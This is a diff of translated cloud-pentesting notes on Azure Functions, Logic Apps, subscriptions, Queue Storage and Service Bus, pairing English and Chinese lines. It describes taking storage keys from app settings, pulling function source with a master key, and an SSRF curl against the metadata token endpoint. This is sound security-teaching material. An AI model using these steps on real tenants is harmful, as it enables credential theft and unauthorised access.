It's possible to configure environment variables inside an app, which could contain sensitive information. Moreover, by default the env variables **`AzureWebJobsStorage`** and **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (among others) are created. These are specially interesting because they **contain the account key to control with FULL permissions the storage account containing the data of the application**. These settings are also needed to execute the code from the Storage Account.
|
||||
可以在应用内配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也是必需的。
|
||||
|
||||
These env variables or configuration parameters also controls how the Function execute the code, for example if **`WEBSITE_RUN_FROM_PACKAGE`** exists, it'll indicate the URL where the code of the application is located.
|
||||
这些环境变量或配置参数还控制函数如何执行代码,例如,如果存在 **`WEBSITE_RUN_FROM_PACKAGE`**,它将指示应用程序代码所在的 URL。
|
||||
|
||||
### **Function Sandbox**
|
||||
### **Function 沙箱**
|
||||
|
||||
Inside the linux sandbox the source code is located in **`/home/site/wwwroot`** in the file **`function_app.py`** (if python is used) the user running the code is **`app`** (without sudo permissions).
|
||||
在 Linux 沙箱中,源代码位于 **`/home/site/wwwroot`** 的文件 **`function_app.py`**(如果使用 Python),运行代码的用户是 **`app`**(没有 sudo 权限)。
|
||||
|
||||
In a **Windows** function using NodeJS the code was located in **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, the username was **`mawsFnPlaceholder8_f_v4_node_20_x86`** and was part of the **groups**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
在使用 NodeJS 的 **Windows** 函数中,代码位于 **`C:\home\site\wwwroot\HttpTrigger1\index.js`**,用户名是 **`mawsFnPlaceholder8_f_v4_node_20_x86`**,并属于以下 **组**:`Mandatory Label\High Mandatory Level Label`、`Everyone`、`BUILTIN\Users`、`NT AUTHORITY\INTERACTIVE`、`CONSOLE LOGON`、`NT AUTHORITY\Authenticated Users`、`NT AUTHORITY\This Organization`、`BUILTIN\IIS_IUSRS`、`LOCAL`、`10-30-4-99\Dwas Site Users`。
|
||||
|
||||
### **Managed Identities & Metadata**
|
||||
### **托管身份和元数据**
|
||||
|
||||
Just like [**VMs**](vms/), Functions can have **Managed Identities** of 2 types: System assigned and User assigned.
|
||||
与 [**虚拟机**](vms/) 一样,Functions 可以具有两种类型的 **托管身份**:系统分配和用户分配。
|
||||
|
||||
The **system assigned** one will be a managed identity that **only the function** that has it assigned would be able to use, while the **user assigned** managed identities are managed identities that **any other Azure service will be able to use**.
|
||||
**系统分配** 的身份将是一个托管身份,**只有分配了它的函数** 可以使用,而 **用户分配** 的托管身份是 **任何其他 Azure 服务都可以使用的托管身份**。
|
||||
|
||||
> [!NOTE]
|
||||
> Just like in [**VMs**](vms/), Functions can have **1 system assigned** managed identity and **several user assigned** ones, so it's always important to try to find all of them if you compromise the function because you might be able to escalate privileges to several managed identities from just one Function.
|
||||
> 与 [**虚拟机**](vms/) 一样,Functions 可以具有 **1 个系统分配** 的托管身份和 **多个用户分配** 的托管身份,因此,如果您妥协了该函数,始终重要的是尝试找到所有托管身份,因为您可能能够从一个函数提升到多个托管身份。
|
||||
>
|
||||
> If a no system managed identity is used but one or more user managed identities are attached to a function, by default you won’t be able to get any token.
|
||||
> 如果未使用系统托管身份,但一个或多个用户托管身份附加到函数,默认情况下您将无法获取任何令牌。
|
||||
|
||||
It's possible to use the [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) to get tokens from the default managed identity from the metadata endpoint. Or you could get them **manually** as explained in:
|
||||
可以使用 [**PEASS 脚本**](https://github.com/peass-ng/PEASS-ng) 从元数据端点获取默认托管身份的令牌。或者您可以 **手动** 获取它们,如下所述:
|
||||
|
||||
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
|
||||
|
||||
Note that you need to find out a way to **check all the Managed Identities a function has attached** as if you don't indicate it, the metadata endpoint will **only use the default one** (check the previous link for more info).
|
||||
请注意,您需要找到一种方法来 **检查函数附加的所有托管身份**,因为如果您不指明,元数据端点将 **仅使用默认身份**(有关更多信息,请查看前面的链接)。
|
||||
|
||||
## Access Keys
|
||||
## 访问密钥
|
||||
|
||||
> [!NOTE]
|
||||
> Note that there aren't RBAC permissions to give access to users to invoke the functions. The **function invocation depends on the trigger** selected when it was created and if a HTTP Trigger was selected, it might be needed to use an **access key**.
|
||||
> 请注意,没有 RBAC 权限可以授予用户调用函数的访问权限。**函数调用取决于创建时选择的触发器**,如果选择了 HTTP 触发器,可能需要使用 **访问密钥**。
|
||||
|
||||
When creating an endpoint inside a function using a **HTTP trigger** it's possible to indicate the **access key authorization level** needed to trigger the function. Three options are available:
|
||||
在使用 **HTTP 触发器** 的函数内创建端点时,可以指明触发函数所需的 **访问密钥授权级别**。提供三种选项:
|
||||
|
||||
- **ANONYMOUS**: **Everyone** can access the function by the URL.
|
||||
- **FUNCTION**: Endpoint is only accessible to users using a **function, host or master key**.
|
||||
- **ADMIN**: Endpoint is only accessible to users a **master key**.
|
||||
- **ANONYMOUS**:**每个人**都可以通过 URL 访问该函数。
|
||||
- **FUNCTION**:端点仅对使用 **函数、主机或主密钥** 的用户可访问。
|
||||
- **ADMIN**:端点仅对使用 **主密钥** 的用户可访问。
|
||||
|
||||
**Type of keys:**
|
||||
**密钥类型:**
|
||||
|
||||
- **Function Keys:** Function keys can be either default or user-defined and are designed to grant access exclusively to **specific function endpoints** within a Function App allowing a more fine-grained access over the endpoints.
|
||||
- **Host Keys:** Host keys, which can also be default or user-defined, provide access to **all function endpoints within a Function App with FUNCTION access level**.
|
||||
- **Master Key:** The master key (`_master`) serves as an administrative key that offers elevated permissions, including access to all function endpoints (ADMIN access lelvel included). This **key cannot be revoked.**
|
||||
- **System Keys:** System keys are **managed by specific extensions** and are required for accessing webhook endpoints used by internal components. Examples include the Event Grid trigger and Durable Functions, which utilize system keys to securely interact with their respective APIs.
|
||||
- **函数密钥**:函数密钥可以是默认的或用户定义的,旨在仅授予对 **Function App 中特定函数端点** 的访问权限,从而允许对端点进行更细粒度的访问。
|
||||
- **主机密钥**:主机密钥也可以是默认的或用户定义的,提供对 **Function App 中所有函数端点的访问,具有 FUNCTION 访问级别**。
|
||||
- **主密钥**:主密钥 (`_master`) 作为管理密钥,提供提升的权限,包括对所有函数端点的访问(包括 ADMIN 访问级别)。此 **密钥无法被撤销**。
|
||||
- **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可持久化函数,它们利用系统密钥与各自的 API 安全交互。
|
||||
|
||||
> [!TIP]
|
||||
> Example to access a function API endpoint using a key:
|
||||
> 使用密钥访问函数 API 端点的示例:
|
||||
>
|
||||
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
|
||||
|
||||
### Basic Authentication
|
||||
### 基本身份验证
|
||||
|
||||
Just like in App Services, Functions also support basic authentication to connect to **SCM** and **FTP** to deploy code using a **username and password in a URL** provided by Azure. More information about it in:
|
||||
与应用服务一样,Functions 也支持基本身份验证,以通过 **SCM** 和 **FTP** 连接以使用 **Azure 提供的 URL 中的用户名和密码** 部署代码。有关更多信息,请参见:
|
||||
|
||||
{{#ref}}
|
||||
az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Github Based Deployments
|
||||
### 基于 Github 的部署
|
||||
|
||||
When a function is generated from a Github repo Azure web console allows to **automatically create a Github Workflow in a specific repository** so whenever this repository is updated the code of the function is updated. Actually the Github Action yaml for a python function looks like this:
|
||||
当函数从 Github 仓库生成时,Azure Web 控制台允许 **在特定仓库中自动创建 Github 工作流**,因此每当该仓库更新时,函数的代码也会更新。实际上,Python 函数的 Github Action yaml 看起来是这样的:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Yaml</summary>
|
||||
|
||||
```yaml
|
||||
# Docs for the Azure Web Apps Deploy action: https://github.com/azure/functions-action
|
||||
# More GitHub Actions for Azure: https://github.com/Azure/actions
|
||||
@@ -118,95 +117,93 @@ When a function is generated from a Github repo Azure web console allows to **au
|
||||
name: Build and deploy Python project to Azure Function App - funcGithub
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
env:
|
||||
AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
|
||||
PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
|
||||
AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
|
||||
PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Python version
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ env.PYTHON_VERSION }}
|
||||
- name: Setup Python version
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ env.PYTHON_VERSION }}
|
||||
|
||||
- name: Create and start virtual environment
|
||||
run: |
|
||||
python -m venv venv
|
||||
source venv/bin/activate
|
||||
- name: Create and start virtual environment
|
||||
run: |
|
||||
python -m venv venv
|
||||
source venv/bin/activate
|
||||
|
||||
- name: Install dependencies
|
||||
run: pip install -r requirements.txt
|
||||
- name: Install dependencies
|
||||
run: pip install -r requirements.txt
|
||||
|
||||
# Optional: Add step to run tests here
|
||||
# Optional: Add step to run tests here
|
||||
|
||||
- name: Zip artifact for deployment
|
||||
run: zip release.zip ./* -r
|
||||
- name: Zip artifact for deployment
|
||||
run: zip release.zip ./* -r
|
||||
|
||||
- name: Upload artifact for deployment job
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
path: |
|
||||
release.zip
|
||||
!venv/
|
||||
- name: Upload artifact for deployment job
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
path: |
|
||||
release.zip
|
||||
!venv/
|
||||
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
|
||||
permissions:
|
||||
id-token: write #This is required for requesting the JWT
|
||||
permissions:
|
||||
id-token: write #This is required for requesting the JWT
|
||||
|
||||
steps:
|
||||
- name: Download artifact from build job
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
steps:
|
||||
- name: Download artifact from build job
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
|
||||
- name: Unzip artifact for deployment
|
||||
run: unzip release.zip
|
||||
- name: Unzip artifact for deployment
|
||||
run: unzip release.zip
|
||||
|
||||
- name: Login to Azure
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }}
|
||||
tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
|
||||
subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
|
||||
- name: Login to Azure
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }}
|
||||
tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
|
||||
subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
|
||||
|
||||
- name: "Deploy to Azure Functions"
|
||||
uses: Azure/functions-action@v1
|
||||
id: deploy-to-function
|
||||
with:
|
||||
app-name: "funcGithub"
|
||||
slot-name: "Production"
|
||||
package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
- name: "Deploy to Azure Functions"
|
||||
uses: Azure/functions-action@v1
|
||||
id: deploy-to-function
|
||||
with:
|
||||
app-name: "funcGithub"
|
||||
slot-name: "Production"
|
||||
package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Moreover, a **Managed Identity** is also created so the Github Action from the repository will be able to login into Azure with it. This is done by generating a Federated credential over the **Managed Identity** allowing the **Issuer** `https://token.actions.githubusercontent.com` and the **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
此外,**托管身份**也会被创建,以便来自仓库的Github Action能够使用它登录Azure。这是通过在**托管身份**上生成一个联合凭证来完成的,允许**发行者** `https://token.actions.githubusercontent.com` 和 **主题标识符** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`。
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, anyone compromising that repo will be able to compromise the function and the Managed Identities attached to it.
|
||||
> 因此,任何妥协该仓库的人都将能够妥协该函数及其附加的托管身份。
|
||||
|
||||
### Container Based Deployments
|
||||
### 基于容器的部署
|
||||
|
||||
Not all the plans allow to deploy containers, but for the ones that do, the configuration will contain the URL of the container. In the API the **`linuxFxVersion`** setting will ha something like: `DOCKER|mcr.microsoft.com/...`, while in the web console, the configuration will show the **image settings**.
|
||||
并非所有计划都允许部署容器,但对于允许的计划,配置将包含容器的URL。在API中,**`linuxFxVersion`** 设置将类似于: `DOCKER|mcr.microsoft.com/...`,而在Web控制台中,配置将显示**镜像设置**。
|
||||
|
||||
Moreover, **no source code will be stored in the storage** account related to the function as it's not needed.
|
||||
|
||||
## Enumeration
|
||||
此外,**与该函数相关的存储账户中将不会存储任何源代码**,因为这不是必需的。
|
||||
|
||||
## 枚举
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -218,15 +215,15 @@ az functionapp show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
@@ -242,7 +239,7 @@ az functionapp config access-restriction show --name <app-name> --resource-group
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
@@ -252,19 +249,14 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
## 权限提升
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition](https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,41 +2,38 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
Azure Logic Apps is a cloud-based service provided by Microsoft Azure that enables developers to **create and run workflows that integrate various services**, data sources, and applications. These workflows are designed to **automate business processes**, orchestrate tasks, and perform data integrations across different platforms.
|
||||
Azure Logic Apps 是微软 Azure 提供的云服务,使开发人员能够 **创建和运行集成各种服务、数据源和应用程序的工作流**。这些工作流旨在 **自动化业务流程**、协调任务并在不同平台之间执行数据集成。
|
||||
|
||||
Logic Apps provides a visual designer to create workflows with a **wide range of pre-built connectors**, which makes it easy to connect to and interact with various services, such as Office 365, Dynamics CRM, Salesforce, and many others. You can also create custom connectors for your specific needs.
|
||||
Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务(如 Office 365、Dynamics CRM、Salesforce 等)进行交互变得简单。您还可以根据特定需求创建自定义连接器。
|
||||
|
||||
### Examples
|
||||
### 示例
|
||||
|
||||
- **Automating Data Pipelines**: Logic Apps can automate **data transfer and transformation processes** in combination with Azure Data Factory. This is useful for creating scalable and reliable data pipelines that move and transform data between various data stores, like Azure SQL Database and Azure Blob Storage, aiding in analytics and business intelligence operations.
|
||||
- **Integrating with Azure Functions**: Logic Apps can work alongside Azure Functions to develop **sophisticated, event-driven applications that scale as needed** and integrate seamlessly with other Azure services. An example use case is using a Logic App to trigger an Azure Function in response to certain events, such as changes in an Azure Storage account, allowing for dynamic data processing.
|
||||
- **自动化数据管道**:Logic Apps 可以与 Azure Data Factory 结合自动化 **数据传输和转换过程**。这对于创建可扩展和可靠的数据管道非常有用,这些管道在各种数据存储之间移动和转换数据,如 Azure SQL 数据库和 Azure Blob 存储,帮助进行分析和商业智能操作。
|
||||
- **与 Azure Functions 集成**:Logic Apps 可以与 Azure Functions 一起工作,开发 **复杂的事件驱动应用程序,按需扩展**,并与其他 Azure 服务无缝集成。一个示例用例是使用 Logic App 在响应某些事件(如 Azure 存储帐户中的更改)时触发 Azure Function,从而实现动态数据处理。
|
||||
|
||||
### Visualize a LogicAPP
|
||||
### 可视化 LogicAPP
|
||||
|
||||
It's possible to view a LogicApp with graphics:
|
||||
可以通过图形查看 LogicApp:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
or to check the code in the "**Logic app code view**" section.
|
||||
或在 "**Logic app code view**" 部分查看代码。
|
||||
|
||||
### SSRF Protection
|
||||
### SSRF 保护
|
||||
|
||||
Even if you find the **Logic App vulnerable to SSRF**, you won't be able to access the credentials from the metadata as Logic Apps doesn't allow that.
|
||||
|
||||
For example, something like this won't return the token:
|
||||
即使您发现 **Logic App 对 SSRF 漏洞**,也无法从元数据中访问凭据,因为 Logic Apps 不允许这样做。
|
||||
|
||||
例如,像这样的请求不会返回令牌:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
### 枚举
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
||||
@@ -47,11 +44,9 @@ az logic workflow definition show --name <LogicAppName> --resource-group <Resour
|
||||
# Get service ppal used
|
||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
|
||||
```powershell
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
@@ -62,12 +57,7 @@ Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||
# Get service ppal used
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+10
-20
@@ -1,60 +1,50 @@
|
||||
# Az - Management Groups, Subscriptions & Resource Groups
|
||||
# Az - 管理组、订阅和资源组
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Management Groups
|
||||
## 管理组
|
||||
|
||||
You can find more info about Management Groups in:
|
||||
您可以在以下位置找到有关管理组的更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# List
|
||||
az account management-group list
|
||||
# Get details and management groups and subscriptions that are children
|
||||
az account management-group show --name <name> --expand --recurse
|
||||
```
|
||||
## 订阅
|
||||
|
||||
## Subscriptions
|
||||
|
||||
You can find more info about Subscriptions in:
|
||||
您可以在以下位置找到有关订阅的更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# List all subscriptions
|
||||
az account list --output table
|
||||
# Get details
|
||||
az account management-group subscription show --name <management group> --subscription <subscription>
|
||||
```
|
||||
## 资源组
|
||||
|
||||
## Resource Groups
|
||||
|
||||
You can find more info about Resource Groups in:
|
||||
您可以在以下位置找到有关资源组的更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 枚举
|
||||
```bash
|
||||
# List all resource groups
|
||||
az group list
|
||||
# Get resource groups of specific subscription
|
||||
az group list --subscription "<subscription>" --output table
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,15 +2,14 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
Azure Queue Storage is a service in Microsoft's Azure cloud platform designed for message queuing between application components, **enabling asynchronous communication and decoupling**. It allows you to store an unlimited number of messages, each up to 64 KB in size, and supports operations such as creating and deleting queues, adding, retrieving, updating, and deleting messages, as well as managing metadata and access policies. While it typically processes messages in a first-in-first-out (FIFO) manner, strict FIFO is not guaranteed.
|
||||
Azure Queue Storage 是微软 Azure 云平台中的一项服务,旨在实现应用组件之间的消息排队,**实现异步通信和解耦**。它允许您存储无限数量的消息,每条消息最大为 64 KB,并支持创建和删除队列、添加、检索、更新和删除消息,以及管理元数据和访问策略等操作。虽然它通常以先进先出(FIFO)的方式处理消息,但不保证严格的 FIFO。
|
||||
|
||||
### Enumeration
|
||||
### 枚举
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
|
||||
```bash
|
||||
# You need to know the --account-name of the storage (az storage account list)
|
||||
az storage queue list --account-name <storage_account>
|
||||
@@ -27,11 +26,9 @@ az storage message get --queue-name <queue_name> --account-name <storage_account
|
||||
# Peek Messages
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PS" }}
|
||||
|
||||
```bash
|
||||
# Get the Storage Context
|
||||
$storageAccount = Get-AzStorageAccount -ResourceGroupName QueueResourceGroup -Name queuestorageaccount1994
|
||||
@@ -64,36 +61,31 @@ $visibilityTimeout = [System.TimeSpan]::FromSeconds(10)
|
||||
$queueMessage = $queue.QueueClient.ReceiveMessages(1,$visibilityTimeout)
|
||||
$queueMessage.Value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Privilege Escalation
|
||||
### 权限提升
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### 利用后
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-queue-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
### 持久性
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-queue-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,53 +4,52 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Bus is a cloud-based **messaging service** designed to enable reliable **communication between different parts of an application or separate applications**. It acts as a secure middleman, ensuring messages are safely delivered, even if the sender and receiver aren’t operating simultaneously. By decoupling systems, it allows applications to work independently while still exchanging data or instructions. It’s particularly useful for scenarios requiring load balancing across multiple workers, reliable message delivery, or complex coordination, such as processing tasks in order or securely managing access.
|
||||
Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用程序不同部分或独立应用程序之间的可靠通信**。它充当安全的中介,确保消息安全送达,即使发送者和接收者并不同时操作。通过解耦系统,它允许应用程序独立工作,同时仍然交换数据或指令。它特别适用于需要在多个工作者之间进行负载均衡、可靠消息传递或复杂协调的场景,例如按顺序处理任务或安全管理访问。
|
||||
|
||||
### Key Concepts
|
||||
|
||||
1. **Queues:** its purpose is to store messages until the receiver is ready.
|
||||
- Messages are ordered, timestamped, and durably stored.
|
||||
- Delivered in pull mode (on-demand retrieval).
|
||||
- Supports point-to-point communication.
|
||||
2. **Topics:** Publish-subscribe messaging for broadcasting.
|
||||
- Multiple independent subscriptions receive copies of messages.
|
||||
- Subscriptions can have rules/filters to control delivery or add metadata.
|
||||
- Supports many-to-many communication.
|
||||
3. **Namespaces:** A container for all messaging components, queues and topics, is like your own slice of a powerful Azure cluster, providing dedicated capacity and optionally spanning across three availability zones.
|
||||
1. **Queues:** 其目的是在接收者准备好之前存储消息。
|
||||
- 消息是有序的、带时间戳的,并且持久存储。
|
||||
- 以拉取模式(按需检索)交付。
|
||||
- 支持点对点通信。
|
||||
2. **Topics:** 发布-订阅消息用于广播。
|
||||
- 多个独立订阅接收消息的副本。
|
||||
- 订阅可以有规则/过滤器来控制交付或添加元数据。
|
||||
- 支持多对多通信。
|
||||
3. **Namespaces:** 所有消息组件、队列和主题的容器,就像您自己的一部分强大 Azure 集群,提供专用容量,并可选择跨越三个可用区。
|
||||
|
||||
### Advance Features
|
||||
|
||||
Some advance features are:
|
||||
一些高级功能包括:
|
||||
|
||||
- **Message Sessions**: Ensures FIFO processing and supports request-response patterns.
|
||||
- **Auto-Forwarding**: Transfers messages between queues or topics in the same namespace.
|
||||
- **Dead-Lettering**: Captures undeliverable messages for review.
|
||||
- **Scheduled Delivery**: Delays message processing for future tasks.
|
||||
- **Message Deferral**: Postpones message retrieval until ready.
|
||||
- **Transactions**: Groups operations into atomic execution.
|
||||
- **Filters & Actions**: Applies rules to filter or annotate messages.
|
||||
- **Auto-Delete on Idle**: Deletes queues after inactivity (min: 5 minutes).
|
||||
- **Duplicate Detection**: Removes duplicate messages during resends.
|
||||
- **Batch Deletion**: Bulk deletes expired or unnecessary messages.
|
||||
- **Message Sessions**: 确保 FIFO 处理并支持请求-响应模式。
|
||||
- **Auto-Forwarding**: 在同一命名空间内在队列或主题之间转移消息。
|
||||
- **Dead-Lettering**: 捕获无法送达的消息以供审查。
|
||||
- **Scheduled Delivery**: 延迟消息处理以进行未来任务。
|
||||
- **Message Deferral**: 推迟消息检索直到准备好。
|
||||
- **Transactions**: 将操作分组为原子执行。
|
||||
- **Filters & Actions**: 应用规则以过滤或注释消息。
|
||||
- **Auto-Delete on Idle**: 在不活动后删除队列(最小:5分钟)。
|
||||
- **Duplicate Detection**: 在重发期间移除重复消息。
|
||||
- **Batch Deletion**: 批量删除过期或不必要的消息。
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
SAS Policies define the access permissions for Azure Service Bus entities namespace (Most Important One), queues and topics. Each policy has the following components:
|
||||
SAS 策略定义 Azure Service Bus 实体命名空间(最重要的一个)、队列和主题的访问权限。每个策略具有以下组件:
|
||||
|
||||
- **Permissions**: Checkboxes to specify access levels:
|
||||
